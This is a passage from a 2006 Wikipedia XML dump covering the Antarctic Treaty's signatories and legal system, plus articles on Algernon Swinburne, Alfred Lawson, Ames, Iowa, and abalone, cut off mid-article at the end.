|style=&quot;background:lightgray;&quot;|[[2001-05-17]]
|-
|[[Finland]]
|
|[[1989-10-09]]
|[[1984-05-15]]
|-
|[[France]] [[Adélie Land|''claim'']]
|colspan=&quot;2&quot;|[[1960-09-16]]
|
|-
|[[Germany]]&lt;br /&gt;
''[[East Germany]]''
|
|[[1981-03-03]]&lt;br /&gt;
''[[1987-10-05]]''
|[[1979-02-05]]&lt;br /&gt;
''[[1974-11-19]]''
|-
|[[Greece]]
|
|
|style=&quot;background:lightgray;&quot;|[[1987-01-08]]
|-
|[[Guatemala]]
|
|
|style=&quot;background:lightgray;&quot;|[[1991-07-31]]
|-
|[[Hungary]]
|
|
|style=&quot;background:lightgray;&quot;|[[1984-01-27]]
|-
|[[India]]
|
|[[1983-09-12]]
|[[1983-08-19]]
|-
|[[Italy]]
|
|[[1987-10-05]]
|[[1981-03-18]]
|-
|[[Japan]]
|colspan=&quot;2&quot;|[[1960-08-04]]
|
|-
|[[Netherlands]]
|
|[[1990-11-19]]
|[[1967-03-30]]
|-
|[[New Zealand]] [[Ross Dependency|''claim'']]
|colspan=&quot;2&quot;|[[1960-11-01]]
|
|-
|[[North Korea]]
|
|
|style=&quot;background:lightgray;&quot;|[[1987-01-21]]
|-
|[[Norway]] [[Dronning Maud Land|''claim'']]
|colspan=&quot;2&quot;|[[1960-08-24]]
|
|-
|[[Papua New Guinea]]
|
|
|style=&quot;background:lightgray;&quot;|[[1981-03-16]]
|-
|[[Peru]]
|
|[[1989-10-09]]
|[[1981-04-10]]
|-
|[[Poland]]
|
|[[1977-07-29]]
|[[1961-06-08]]
|-
|[[Romania]]
|
|
|style=&quot;background:lightgray;&quot;|[[1971-09-15]]
|-
|[[Russia]] ([[Soviet Union]])**
|colspan=&quot;2&quot;|[[1960-11-02]]
|
|-
|[[Slovak Socialist Republic|Slovak Republic]] ([[Czechoslovakia]])
|
|
|style=&quot;background:lightgray;&quot;|[[1962-06-14]]
|-
|[[South Africa]]
|colspan=&quot;2&quot;|[[1960-06-21]]
|
|-
|[[South Korea]]
|
|[[1989-10-09]]
|[[1986-11-28]]
|-
|[[Spain]]
|
|[[1988-09-21]]
|[[1982-03-31]]
|-
|[[Sweden]]
|
|[[1988-09-21]]
|[[1984-03-24]]
|-
|[[Switzerland]]
|
|
|style=&quot;background:lightgray;&quot;|[[1990-11-15]]
|-
|[[Turkey]]
|
|
|style=&quot;background:lightgray;&quot;|[[1996-01-25]]
|-
|[[Ukraine]]
|
|[[2004-05-27]]
|[[1992-10-28]]
|-
|[[United Kingdom]] [[British Antarctic Territory|''claim'']]*
|colspan=&quot;2&quot;|[[1960-05-31]]
|
|-
|[[United States]]**
|colspan=&quot;2&quot;|[[1960-08-18]]
|
|-
|[[Uruguay]]
|
|[[1985-10-07]]
|[[1980-01-11]]
|-
|[[Venezuela]]
|
|
|style=&quot;background:lightgray;&quot;|[[1999-05-24]]
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Claims overlap.&lt;br /&gt;
&lt;nowiki&gt;**&lt;/nowiki&gt; Reserved the right to claim areas.

At the end of 2004, there were 45 treaty member nations: 28 consultative and 17 acceding. Consultative (voting) members include the seven nations that claim portions of Antarctica as national territory. The 20 nonclaimant nations do not recognize the claims of others.

== Legal system ==

Antarctica has no [[government]]. Various countries claim areas of it, but most countries do not recognize those claims. The area between 90 degrees west and 150 degrees west is the only land on Earth not claimed by any country.

===Argentina and Chile===

According to Argentine regulations, any crime committed within 50 [[kilometer]]s of any Argentine base is to be judged in [[Ushuaia]] (as capital of [[Tierra del Fuego, Antarctica, and South Atlantic Islands]]). In the part of [[Argentine Antarctica]] that is also claimed by Chile, the person to be judged can ask to be transferred there.

===United States===

The [[law of the United States]], including certain criminal offenses by or against U.S. nationals, such as murder, may apply to areas not under jurisdiction of other countries. To this end, the United States now stations special deputy [[United States Marshal|U. S. Marshals]] in Antarctica to provide a law enforcement presence. [http://www.usmarshals.gov/history/antarctica/]

Some U.S. laws directly apply to Antarctica. For example, the [[Antarctic Conservation Act]], 16 [[U.S.C.]] section 2401 et seq., provides civil and criminal penalties for the following activities, unless authorized by regulation of [[statute]]:

*the taking of native mammals or birds;
*the introduction of nonindigenous plants and animals;
*entry into specially protected or scientific areas;
*the discharge or disposal of pollutants;
*the importation into the U.S. of certain items from Antarctica

Violation of the Antarctic Conservation Act carries penalties of up to $10,000 in fines and one year in prison. The Departments of [[United States Department of the Treasury|Treasury]], [[United States Department of Commerce|Commerce]], [[United States Department of Transportation|Transportation]], and [[United States Department of the Interior|Interior]] share enforcement responsibilities.

Public Law 95-541, the Antarctic Conservation Act of 1978, requires expeditions from the U.S. to Antarctica to notify, in advance, the [[Office of Oceans and Polar Affairs]] of the [[United States Department of State|State Department]], which reports such plans to other nations as required by the Antarctic Treaty.

Further information is provided by the [[Office of Polar Programs]] of the [[National Science Foundation]].

== See also ==

{{Antarctica claims}}

== External links ==
{{Wikisource|The Antarctic Treaty}}

* [http://www.70south.com/resources/treaty/ 70South: Info on the Antarctic Treaty]
* [http://www.ats.aq Antarctic Treaty Secretariat]
* [http://www.nsf.gov/od/opp/antarct/anttrty.jsp Full Text of the Antarctic Treaty]
* [http://www.nsf.gov/dir/index.jsp?org=OPP National Science Foundation - Office of Polar Programs]
* [http://www.ats.aq/meetings.php List of all Antarctic Treaty Consultative Meetings]
* [http://www.signonsandiego.com/uniontrib/20050825/news_lz7e25koreas.html  An Antarctic Solution for the Koreas] San Diego Union-Tribune, August 25, 2005 (Both South Korea and [[North Korea are members of the Antarctic Treaty)

[[Category:Antarctica]]
[[Category:Cold War treaties]]
[[Category:New Zealand and the Antarctic]]
[[Category:Treaties]]

[[cs:Antarktický smluvní systém]]
[[de:Nationales Antarktisprogramm]]
[[es:Tratado Antártico]]
[[fr:Traité sur l'Antarctique]]
[[ko:남극 조약]]
[[nl:Antarctisch Verdrag]]
[[ja:南極条約]]
[[no:Antarktis-traktaten]]
[[pl:Traktat Antarktyczny]]
[[pt:Tratado da Antártida]]
[[simple:Antarctic Treaty System]]
[[sv:Antarktisfördraget]]
[[uk:Антарктичний договір]]</text>
    </revision>
  </page>
  <page>
    <title>Algernon Swinburne</title>
    <id>1292</id>
    <revision>
      <id>40556504</id>
      <timestamp>2006-02-21T11:49:57Z</timestamp>
      <contributor>
        <username>AndrewMcQ</username>
        <id>87960</id>
      </contributor>
      <comment>details of birth</comment>
      <text xml:space="preserve">[[Image:Swinburne.jpg|thumb|150px|Algernon Swinburne, Portrait by [[Dante Gabriel Rossetti|Rossetti]] ]]
'''Algernon Charles Swinburne''' ([[April 5]], [[1837]] &amp;ndash; [[April 10]], [[1909]]) was a [[Victorian era]] [[England|English]] poet. His [[poetry]] was highly controversial in its day, much of it containing recurring themes of [[sadomasochism]], death-wish, [[lesbian|lesbianism]] and anti-[[Christianity|Christian]] sentiments.

Swinburne was born in [[London]], and raised on the [[Isle of Wight]], and at [[Capheaton Hall]], near [[Wallington Hall|Wallington]], [[Northumberland]]. He was associated with the [[Pre-Raphaelite]] movement, and counted among his best friends [[Dante Gabriel Rossetti]].

He is considered a ''[[Decadence|decadent]]'' poet, albeit that he professed to perhaps rather more vice than he actually indulged in, a fact which [[Oscar Wilde]] notably and acerbically commented upon.

Many of his early and still admired poems evoke the Victorian fascination with the [[Middle Ages]], and some of them are explicitly [[medieval_(term)|medieval]] in style, tone and construction, these representatives notably being &quot;The Leper,&quot; &quot;Laus Veneris,&quot; and &quot;St Dorothy&quot;.

He was an [[Alcoholism|alcoholic]] and a highly excitable character. His health suffered as a result, until he finally broke down and was taken into care by his friend [[Theodore Watts]], who looked after him for the rest of his life in [[Putney]]. Thereafter he lost his youthful rebelliousness and developed into a figure of social respectability.

His [[vocabulary]], [[rhyme]] and [[Meter (poetry)|metre]] arguably make him one of the best poets of the [[English language]]; but his poetry has been criticized as overly flowery and meaningless, choosing words to fit the rhyme rather than to contribute towards meaning.

Works include: ''Atalanta in Calydon'', ''Poems and Ballads'' (series I, II and III -- these contain most of his more controversial works), ''Songs Before Sunrise'', ''Lesbia Brandon'' (novel published posthumously).

He also wrote poems in favour of the unification of [[Italy]]. He was a student at [[Balliol College, Oxford]], and his work in his day was very popular among undergraduates at [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]], though today it has largely gone  out of fashion. This, at least, is the current popular and even the academic view of the decline of Swinburne's reputation, but it contains some distortion.

In fact Swinburne's ''Poems and Ballads, First Series'' and his ''Atalanta in Calydon'' have never been out of critical favor. It was Swinburne's misfortune that the two works, published when he was nearly 30, soon established him as England's premier poet, the successor to [[Alfred, Lord Tennyson]] and [[Robert Browning]]. This was a position he held in the popular mind until his death, but sophisticated critics like [[A. E. Housman]] felt, rightly or wrongly, that the job of being one of England's very greatest poets was beyond him.

Swinburne may have felt this way himself. He was a highly intelligent man and in later life a much-respected critic, and he himself believed that the older a man was, the more cynical and less trustworthy he became. Swinburne may have been one of the first people not to trust anyone over thirty. This of course created problems for him after he himself passed that age. 

After the first ''Poems and Ballads'', Swinburne's later poetry is devoted more to politics and philosophy. He does not utterly stop writing love poetry, but he is far less shocking. His versification, and especially his rhyming technique, remain masterful to the end. He is the virtual star of the third volume of [[George Saintsbury]]'s famous ''History of English Prosody'', and Housman, a more measured and even somewhat hostile critic, devoted paragraphs of praise to his rhyming ability. 

It should also be noted that Swinburne continues to impact today's culture though in small degree. In the [[Cradle of Filth]] song &quot;The Forest Whispers My Name&quot; from the album The Principle Of Evil Made Flesh (1994) the following selection from Swinburne's ''The Garden of Proserpine'' can be found:

&quot;Pale, beyond porch and portal,
Crowned with leaves, she stands,
Who gathers all things mortal,
With cold immortal hands,
Her languid lips are sweeter,
Than love's who fears to greet her,
To men that mix and meet her,
From many times and lands.&quot;

The other lyrics of Cradle of Filth also follow a similar vein as the writings of Swinburne. Themes of romance, love lost, mythical imagery and the macabre are frequent and a clear Swinburne influence is apparent.

Some of his poems:
*[[Hymn to Proserpine]]
*[[The Triumph of Time]]

==Further Reading==
{{wikisource author}}
A modern study of his religious attitudes:
*''Swinburne and His Gods: the Roots and Growth of an Agnostic Poetry'' by Margot Kathleen Louis (ISBN 0773507159)

==Trivia==

'''Ernest Wheldrake''' was a fictional character invented by Swinburne, who reviewed imaginary works by him. This was as a satire on the [[spasmodic poets]]. Wheldrake is also a character used by [[Michael Moorcock]] in his fiction.

== External links ==
* {{gutenberg author| id=Algernon+Charles+Swinburne | name=Algernon Swinburne}}

[[Category:1837 births|Swinburne, Algernon Charles]]
[[Category:1909 deaths|Swinburne, Algernon Charles]]
[[Category:English poets|Swinburne, Algernon]]
[[Category:Old Etonians|Swinburne, Algernon]]

[[de:Algernon Swinburne]]
[[fr:Algernon Swinburne]]
[[sv:Algernon Swinburne]]</text>
    </revision>
  </page>
  <page>
    <title>Alfred Lawson</title>
    <id>1293</id>
    <revision>
      <id>40673630</id>
      <timestamp>2006-02-22T05:16:13Z</timestamp>
      <contributor>
        <ip>66.73.169.108</ip>
      </contributor>
      <text xml:space="preserve">'''Alfred William Lawson''' ([[1869]]-[[1954]]) was a professional [[baseball]] player from 1887 through 1908 and went on to play a pioneering role in the US aircraft industry, publishing an early aviation trade journal.  During this time he also wrote a novel, Born Again, clearly inspired by the popular Utopian fantasy [[Looking Backward]] by [[Edward Bellamy]], an early harbinger of the metaphysical turn his career would take. He is frequently cited as the inventor of the [[airliner]] and claimed to have been the first to deliver air mail on a schedule.  However, his several attempts at building his own airplanes all ended in crashes which discouraged investors.

In the 1920s he promoted [[vegetarianism]] and claimed to have found the secret of living to 200.  He also developed his own highly unusual theories of physics, according to which such concepts as &quot;penetrability&quot; and &quot;zig-zag-and-swirl&quot; were discoveries on par with [[Einstein]]'s [[Theory of Relativity]].  Numerous books confidently expounding on these concepts flowed from his pen, all set in the distinctive typography which makes Lawson publications recognizable at 50 paces.  Most of the books confidently predict the worldwide adoption of Lawsonian principles by the year 2000.

He later propounded his own philosophy [[Lawsonomy]], and the [[Lawsonian religion]]. He also developed during the [[Great Depression]] the [[populist]] economic theory of [[direct credit]]s, according to which banks are the cause of all economic woe, the oppressors of both capital and labour. Lawson believed that the government should replace banks as the provider of loans to business and workers. His rallies and lectures attracted thousands of listeners in the early 30s, mainly in the upper midwest, but by the late 30s the crowds had dwindled.

In 1943 he founded the so-called University of Lawsonomy in Des Moines to spread his teachings and offer the degree of &quot;Knowlegian,&quot; but after various IRS and other investigations it was closed and finally sold in 1954, the year of Lawson's death.  Lawson's financial arrangements remain mysterious to this day and in later years he seems to have owned little property, moving from city to city as a guest of his farflung acolytes.  A 1952 attempt to haul him before a Senate investigative committee and get to the bottom of his operation ended with the cagey old gentleman leaving the senators outwitted and baffled.

A farm near Racine, Wisconsin is the only remaining university facility, although a tiny handful of churches may yet survive in places such as Wichita, Kansas.

He has been described as the &quot;[[Leonardo da Vinci]] of kooks&quot;.

==Quotation==
*&quot;When I look into the vastness of space and see the marvelous workings of its contents... I sometimes think I was born ten or twenty thousand years ahead of time.&quot; -- Alfred Lawson

==External links==
*[http://www.rcls.org/lawson/intro.htm Lawson's Progress] an elaborate web tribute
*[http://www.lawsonomy.org/Lawsonomy11.html The three volumes of Lasonomy], written by Lawson

[[Category:1869 births|Lawson, Alfred]]
[[Category:1954 deaths|Lawson, Alfred]]</text>
    </revision>
  </page>
  <page>
    <title>ALCS</title>
    <id>1295</id>
    <revision>
      <id>35507250</id>
      <timestamp>2006-01-17T05:53:49Z</timestamp>
      <contributor>
        <username>William Allen Simpson</username>
        <id>580725</id>
      </contributor>
      <comment>{4LA} {4LC}</comment>
      <text xml:space="preserve">;ALCS
* [[American League Championship Series]], in American baseball
* [[ALCS transaction monitor]], a transaction processing monitor for the airline industry

{{4LC}}</text>
    </revision>
  </page>
  <page>
    <title>Apocrypha/Tanakh</title>
    <id>1297</id>
    <revision>
      <id>15899786</id>
      <timestamp>2004-01-13T01:32:23Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Tanakh]]</text>
    </revision>
  </page>
  <page>
    <title>Ames, Iowa</title>
    <id>1298</id>
    <revision>
      <id>42158089</id>
      <timestamp>2006-03-04T05:06:52Z</timestamp>
      <contributor>
        <ip>12.215.83.96</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Bales of hay.jpg|thumb|right|Bales of hay on a farm near Ames, Iowa]]

'''Ames''' is a city located in [[Story County, Iowa|Story County]], [[Iowa]].  As of the [[United States 2000 Census|2000 Census]], the city had a total population of 50,731.  The city was named after [[19th century]] [[United States House of Representatives|U.S. congressman]] [[Oakes Ames]] of [[Massachusetts]], who was influential in the building of the [[First transcontinental railroad (North America)|transcontinental railroad]].  Ames was founded near a location that was deemed favorable for a railroad crossing of the [[Skunk River]].  It is located roughly 30 miles (48 km) north of the state capital [[Des Moines, Iowa|Des Moines]]. Two small rivers run through the town: the Skunk River and [[Squaw Creek (Iowa)|Squaw Creek]].

Ames is home of [[Iowa State University]] of Science &amp; Technology,  a [[space grant colleges|space grant college]], at its founding, the state's (Morrill Act) [[land-grant university]], formerly known as the Iowa State College of Agriculture and Mechanic Arts. Ames is the home of the closely allied U.S Department of Agriculture's National Animal Disease Center, and the main offices of the Iowa state Department of Transportation. State and Federal institutions are the largest employers in Ames.

Other area employers include a [[3M]] manufacturing plant; [[Sauer-Danfoss]], a hydraulics manufacturer; [[Barilla]], a pasta manufacturer; [[Pella (company)|Pella]] a window manufacturer; and [[Ball Corporation|Ball]], a manufacturer of canning jars and plastic bottles.  

== Geography ==
[[Image:IAMap-doton-Ames.PNG|right|Location of Ames, Iowa]]
Ames is located at 42&amp;deg;1'38&quot; North, 93&amp;deg;37'54&quot; West (42.027335, -93.631586){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 55.9 [[square kilometre|km&amp;sup2;]] (21.6 [[square mile|mi&amp;sup2;]]).  55.9 km&amp;sup2; (21.6 mi&amp;sup2;) of it is land and 0.1 km&amp;sup2; (0.04 mi&amp;sup2;) of it is water.  The total area is 0.09% water.

Ames is located on Interstate 35, US Highways 30 &amp; 69, and the cross country line of the the Union Pacific Railroad.  

== Demographics ==
As of the [[United States 2000 Census|2000 Census]], there are 50,731 people, 18,085 households, and 8,970 families residing in the city.  The [[population density]] is 908.1/km&amp;sup2; (2,352.3/mi&amp;sup2;).  There are 18,757 housing units at an average density of 335.7/km&amp;sup2; (869.7/mi&amp;sup2;).  The racial makeup of the city is 87.34% White, 7.70% [[Asia|Asian]], 2.65% [[African American]], 1.98% [[Hispanic American]] or [[Latino]] of any race, 0.15% [[Native Americans in the United States|Native American]], 0.04% Pacific Islander, 0.76% from other races, and 1.36% from two or more races.  

There are 18,085 households out of which 22.3% have children under the age of 18 living with them, 42.0% are [[Marriage|married couples]] living together, 5.3% have a female householder with no husband present, and 50.4% are non-families. 28.5% of all households are made up of individuals and 5.9% have someone living alone who is 65 years of age or older.  The average household size is 2.30 and the average family size is 2.85.

In the city the population is spread out with 14.6% under the age of 18, 40.0% from 18 to 24, 23.7% from 25 to 44, 13.9% from 45 to 64, and 7.7% who are 65 years of age or older.  The median age is 24 years.  For every 100 females there are 109.3 males.  For every 100 females age 18 and over, there are 109.9 males.

A large number of Ames residents are university students.  In 2004, for example, there were 26,390 students enrolled at Iowa State. 

The median income for a household in the city is $36,042, and the median income for a family is $56,439. Males have a median income of $37,877 versus $28,198 for females. The [[per capita income]] for the city is $18,881.  20.4% of the population and 7.6% of families are below the [[poverty line]].  Out of the total population, 9.2% of those under the age of 18 and 4.1% of those 65 and older are living below the poverty line.

== Important events ==
Prof. [[John_Vincent_Atanasoff | John V. Atanasoff]] and his graduate student, Clifford Berry, are now credited with the creation of the first true electronic digital computer in the basement of the physics department during the years 1937-1942. The Atanasoff/Berry computer used binary arithmetic circuits, regenerative memory, and logic circuits. These seminal ideas were communicated by Atanasoff to John Mauchly during a visit to Iowa State in the 1940s who then used them in the design of the better-known ENIAC built some years later.

Ames has been selected to host the first National Special Olympics in 2006 (summer).  Ames has regularly hosted numerous statewide athletic events such as the Iowa Games and Iowa Shrine Bowl.

Ada Hayden Heritage Park opened in summer of 2004. It lies west of [[US 69]] just north of Ames. It is a large park complex featuring two connected lakes (former quarries) and walking/biking trails.

== Points of interest ==
* [[Reiman Gardens]]
* [[Jack Trice Stadium]]
Farm House Museum, Brunnier Art Museum, Art on Campus Collection, Iowa State University. For more information visit www.museums.iastate.edu

== People ==
* [[Neal Stephenson]], Author, grew up in Ames, Iowa
* [[Peter Schickele]], Musician, was born in Ames, Iowa
* [[George Washington Carver]], Inventor, was an alumni and a professor at ISU.
Billy Sunday, evangelist and major league baseball player, born in Ames

Fred Hoiberg, NBA basketball player, native of Ames and ISU graduate

Carrie Chapman Catt, women's rights activist, ISU graduate

Ted Kooser, U.S. Poet Laureate, was raised in Ames, Iowa and attended Iowa State University.
== External links ==
{{Mapit-US-cityscale|42.027335|-93.631586}}
*[http://ortho.gis.iastate.edu/ Maps from ISU GIS Support and Research Facility]
*[http://urj.net/congs/ia/ia003/ Ames Jewish Congregation] - [[Union for Reform Judaism]]
*[http://www.bridgewayofames.org/ Bridgeway Congregation] - [[Reformed Church in America]]
*[http://chefmoz.org/United_States/IA/Ames/ Ames Dining Guide] on [[Chefmoz]]
*[http://www.mainstreetculturaldistrict.com/ The Main Street Cultural District]
*[http://www.dragonartsames.com/ Dragon Arts Martial Arts and Cultural Center]
[[Category:Cities in Iowa]]
[[Category:Story County, Iowa]]
[[Category:University towns]]

[[es:Ames]]
[[gl:Ames]]
[[io:Ames, Iowa]]
[[nl:Ames]]
[[pl:Ames (Iowa)]]
[[pt:Ames]]
[[zh:艾姆斯]]</text>
    </revision>
  </page>
  <page>
    <title>Abbadides</title>
    <id>1299</id>
    <revision>
      <id>15899788</id>
      <timestamp>2002-05-19T16:47:02Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Abbadid]]
</text>
    </revision>
  </page>
  <page>
    <title>Abalone</title>
    <id>1300</id>
    <revision>
      <id>41304303</id>
      <timestamp>2006-02-26T11:57:35Z</timestamp>
      <contributor>
        <username>Captainbeefart</username>
        <id>727376</id>
      </contributor>
      <minor />
      <comment>Beefart typo. Genus has initial capital</comment>
      <text xml:space="preserve">:''For other uses, see [[Abalone (disambiguation)]].''
[[image:abalone.jpg|thumb|right|A piece of abalone shell]]
[[Image:AbaloneOutside.jpg|thumb|right|The outside of an abalone shell]]
[[Image:AbaloneInside.jpg|thumb|right|The inside surface of an abalone shell]]
[[Image:AbaloneMeat.jpg|thumb|right|The raw meat of abalone]]

'''Abalone''' is the [[American English]] variant of the [[Spanish language|Spanish]] name ''Abulón'' used  for various species of [[shellfish]] ([[mollusk]]s) from the [[Haliotidae]] family ([[genus]] ''Haliotis'').  The abalones belong to the large class of gastropods ([[Gastropoda]]).  There is only one genus in the family Haliotidae, and about four to seven subgenera. The taxonomy is somewhat confused. The number of species range from about 100 to about 130 species (due to the occurrence of [[hybrid]]s), characterized by a richly coloured (on the inside&amp;mdash;the outside is rough and mostly brown) shell yielding [[mother-of-pearl]].  This is also commonly called ''ear-shell,'' in [[Guernsey]] ''ormer'' (Fr. ''ormier'', for ''oreille de mer''), ''perlemoen'' in [[South Africa]] and ''pāua'' in [[New Zealand]]. Abalone is also prevalent in [[Australia]]n and [[South Africa]]n coastal waters and is highly valued. The meat of an abalone is also considered an expensive delicacy in certain parts of South-East and East Asia, especially in [[Japan]], although it has a high cholesterol content.

==Distribution and characteristics==
The Haliotid family has a worldwide distribution, along the coastal waters of every continent, except South America and the eastern coast of the USA. Most abalones are found off the Southern Hemisphere coasts of New Zealand, South Africa and Australia, and  Western North America and Japan in the Northern Hemisphere.

The family has unmistakable characteristics : the shell is rounded to oval, with two to three whorls, and the last one [[auriform]] (= grown into a large ‘ear’), giving rise to the common name ‘ear-shell’. The [[body whorl]] has a series of holes (four to ten depending on the species), near the anterior margin.

There is no [[Operculum (gastropod)|operculum]]. The back is convex, ranging from highly arched to very flattened. These shells cling solidly with their muscular foot to rocky surfaces at [[sublittoral]] depths. The color is very variable from species to species. The inside of the shell consists of iridiscent, silvery white to greenred [[mother-of-pearl]] through to ''Haliotis Iris'' which can comprise of; pinks and reds with predominant deep blues, greens and purples.

Abalones reach maturity at a small size. Their fertility is high and increases with size (from 10,000 to 11 million eggs at a time).

The larvae feed on plankton. The adults are herbivores and feed on macroalgae, preferring red algae. Sizes vary from 20 mm (''Haliotis pulcherrima'') to 200 mm (or even more) (''Haliotis rufescens'').

==Abalone diving in California==

Sport harvesting of Red Abalone is permitted with a California fishing license and an abalone stamp card. Abalone may only be taken while free diving (as opposed to scuba diving). Taking of abalone is not permited south of the mouth of the San Francisco Bay. There is a size minimum of seven inches measured across the shell and a quantity limit of three per day and 24 per year. Abalone may only be taken in season. Transportation of abalone may only legally occur while the abalone is still in the shell. Sale of sport obtained abalone is illegal (including the shell). Only Red Abalone may be taken; black, white, pink, and flat abalone are protected by law.

An abalone diver is normally equipped with a very thick wetsuit, including a hood, booties, and gloves. He or she would also wear a mask, snorkel, weight belt, abalone iron, and abalone gauge. It is common to dive for abalone in water six to 20+ feet deep. Abalone are normally found on rocks in kelp beds (they eat kelp). The abalone iron is used to pry the abalone from the rock before it can fully clamp down. Visibility is normally five to ten feet. Divers commonly dive out of boats, kayaks, tube floats, and directly off shore. An eight inch abalone is considered a good catch, nine inches extremely good, and a ten inch plus (250 mm) abalone would be a trophy catch. Rock picking is a separate method from diving where the rock picker feels underneath rocks at low tides for abalone.

There has been a trade in [[diving]] to catch abalones off parts of the USA coast from before 1939. In [[World War II]], many of these abalone divers were recruited into the USA [[armed forces]] and trained as [[frogman|frogmen]].

==Abalone diving in New Zealand==

[[Image:Abalone-farm1web.jpg|thumb|right|250px|Abalone farm]]

There is an extensive global [[black market]] in the collection and export of abalone meat. In New Zealand, where abalone is called '''pāua''' in the [[Māori language]], this can be a particularly awkward problem where the right to harvest pāua can be granted legally under [[Māori]] customary rights. When such permits to harvest are abused, it is frequently difficult to police. The legal recreational daily limit is 10 pāua per diver with a minimum shell length of 125 mm. The limit is strictly enforced by roving Ministry of Fisheries officers with the backing of the Police force. Pāua 'poaching' is a major industry in New Zealand with many thousands being taken illegally, often undersized. Convictions have resulted in seizure of diving gear, boats and motor vehicles as well as fines and in rare cases; imprisonment. The Ministry of Fisheries expects in the year 2004/05, nearly 1000 tons of pāua will be poached, with 75% of that being
undersized.[http://www.fish.govt.nz/information/corp-docs/soi-04-08/pau2-industry-association.pdf]

Highly polished [[New Zealand]] pāua shells are extremely popular as souvenirs with their striking blue, green and purple iridescence.  The [[muscle]] tissue of the [[mollusk]] is often eaten, and the [[gonad]]s of the abalone are delicacies in [[China]] and [[Japan]].

==Ormers in the Channel Islands==

Ormers (''Haliotis tuberculata'') are considered a delicacy in the Channel Islands and are pursued with great alacrity by the locals.  Unfortunately, this has led to a dramatic depletion in numbers since the latter half of the 19th century, and 'ormering' is now strictly regulated in order to preserve stocks.  The gathering of ormers is now restricted to a number of 'ormering tides', from the [[January 1]] to [[April 30]], which occur on the full or new moon and two days following.  No ormers may be taken from the beach that are under 8 cm in shell length.  Diving is strictly prohibited.  Any breach of these laws is a criminal offence and can lead to a heavy fine.  The demand for ormers is such that they led to the world's first underwater arrest, when a Mr Kempthorne-Leigh of Guernsey was arrested by a police officer in full diving gear when illegally diving for ormers.

==Abalone shell==

In addition, material scientists at the [[University of California, San Diego]] are studying abalone's strong [[calcium carbonate]] tiled structure for insight into a new wave of bullet-proof [[body armor]].

==List of species with common name==
[[Image:Pinkabalone 300.jpg|thumb|right|250px|Pink Abalone (''Haliotis corrugata'')]]
*''Haliotis ancile '' : [[Shield Abalone]].
*''Haliotis aquatilis'' : [[Japanese Abalone]].
*''Haliotis asinina'' : [[Ass’s ear Abalone]].
*''Haliotis assimilis'' :  [[Threaded Abalone]].
*''Haliotis australis'' : [[Australian Abalone]], Austral Abalone.
*''Haliotis brazieri '': [[Brazier’s Abalone]].
*''Haliotis coccoradiata '' : [[Reddish-rayed Abalone]].
*''Haliotis conicopora '' : [[Conical Pore Abalone]], Brownlip Abalone
*''Haliotis corrugata '' : [[Pink Abalone]].
*''Haliotis crachedorii'' : [[Black Abalone]].
[[Image:Whiteabalone 300.jpg|thumb|right|250px|White Abalone (''Haliotis sorenseni'')]]
*''Haliotis crebrisculpta '' : [[Close Sculptures Abalone]].
*''Haliotis cyclobates '' : [[Whirling Abalone]].
*''Haliotis dalli'' : [[Dall’s Abalone]].
*''Haliotis discus'' : [[Disk Abalone]].
*''Haliotis diversicolor '' : [[Variously Coloured Abalone]].
*''Haliotis dohrniana '' : [[Dhorn’s Abalone]].
*''Haliotis elegans'' : [[Elegant Abalone]].
*''Haliotis emmae'' : [[Emma’s Abalone]].
*''Haliotis ethologus'' : [[Mimic Abalone]].
*''Haliotis fulgens'' : [[Green Abalone]].
*''Haliotis gigantea'' : [[Giant Abalone]].
*''Haliotis glabra'' : [[Glistening Abalone]].
*''Haliotis hargravesi'' : [[Hargraves’s Abalone]].
*''Haliotis howensis'' : [[Lord Howe Abalone]].
*''Haliotis iris'' : [[Blackfoot Abalone]].
*''Haliotis iris'' : [[Rainbow Abalone]], Paua Abalone.
*''Haliotis jacnensis '' : [[Jacna Abalone]].
*''Haliotis kamschatkana'' : [[Pinto Abalone]].
*''Haliotis laevigata smooth'' : [[Australian Abalone]], Greenlip Abalone.
*''Haliotis melculus'' : [[Honey Abalone]].
*''Haliotis midae'' : [[Midas Ear Abalone]], Perlemoen Abalone.
*''Haliotis multiperforata'' : [[Many-holed Abalone]].
*''Haliotis ovina'' : [[Oval Abalone]], Sheep's Ear Abalone
*''Haliotis parva'' : [[Canaliculate Abalone]].
*''Haliotis planata'' : [[Planate Abalone]].
*''Haliotis pourtalesii'' : [[Pourtale’s Abalone]].
*''Haliotis pulcherrima'' : [[Most Beautiful Abalone]].
*''Haliotis queketti'' : [[Quekett’s Abalone]].
*''Haliotis roei'' : [[Roe's Abalone]]
*''Haliotis rosacea'': [[Rosy Abalone]].
*''Haliotis rubra'' : [[Ruber Abalone]].
*''Haliotis rufescens'': [[Red Abalone]].
*''Haliotis scalaris'' : [[Staircase Abalone]], Ridged Ear Abalone.
*''Haliotis semiplicata'' : [[Semiplicate Abalone]].
*''Haliotis sorenseni'' : [[White Abalone]].
*''Haliotis spadicea'' : [[Blood-spotted Abalone]].
*''Haliotis speciosa'' : [[Splendid Abalone]].
*''Haliotis squamata'' : [[Scaly Australian Abalone]].
*''Haliotis squamosa'' : [[Squamose Abalone]].
*''Haliotis tuberculata '': [[European Edible Abalone]], Tube Abalone, Tuberculate Ormer.
*''Haliotis varia'' : [[Variable Abalone]].
*''Haliotis venusta'' : [[Lovely Abalone]].
*''Haliotis virginea'' : [[Virgin Abalone]].
*''Haliotis walallensis'' : [[Northern Green Abalone]], [[Flat Abalone]].

'''Other species :'''
''Haliotis clathrata, Haliotis barbouri, Haliotis crebrisculpta, Haliotis dissona, Haliotis exigua, Haliotis fatui, Haliotis kamtschatkana assimilis, Haliotis kamtschatkana kamtschatkana, Haliotis madaka, Haliotis mariae, Haliotis patamakanthini, Haliotis pustulata, Haliotis roberti, Haliotis rubiginosa, Haliotis rubra, Haliotis rugosa, Haliotis thailandis, Haliotis unilateralis''.

==Research==
{{Wikisource1911Enc|Abalone}}

